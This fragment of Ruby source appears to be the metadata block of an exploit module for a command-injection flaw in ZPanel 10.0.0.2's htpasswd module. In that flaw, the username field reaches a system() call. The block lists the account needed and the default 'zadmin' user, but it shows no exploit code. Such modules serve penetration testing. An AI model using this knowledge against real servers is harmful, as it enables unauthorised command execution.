  'Name' => "ZPanel 10.0.0.2 htpasswd Module Username Command Execution",
  'Description'=> %q{
  This module exploits a vulnerability found in ZPanel's htpasswd module. When
  creating .htaccess using the htpasswd module, the username field can be used to
  inject system commands, which is passed on to a system() function for executing
  the system's htpasswd's command.
  
  Please note: In order to use this module, you must have a valid account to login
  to ZPanel.An account part of any of the default groups should suffice, such as:
  Administrators, Resellers, or Users (Clients).By default, there's already a
  'zadmin' user, but the password is randomly generated.
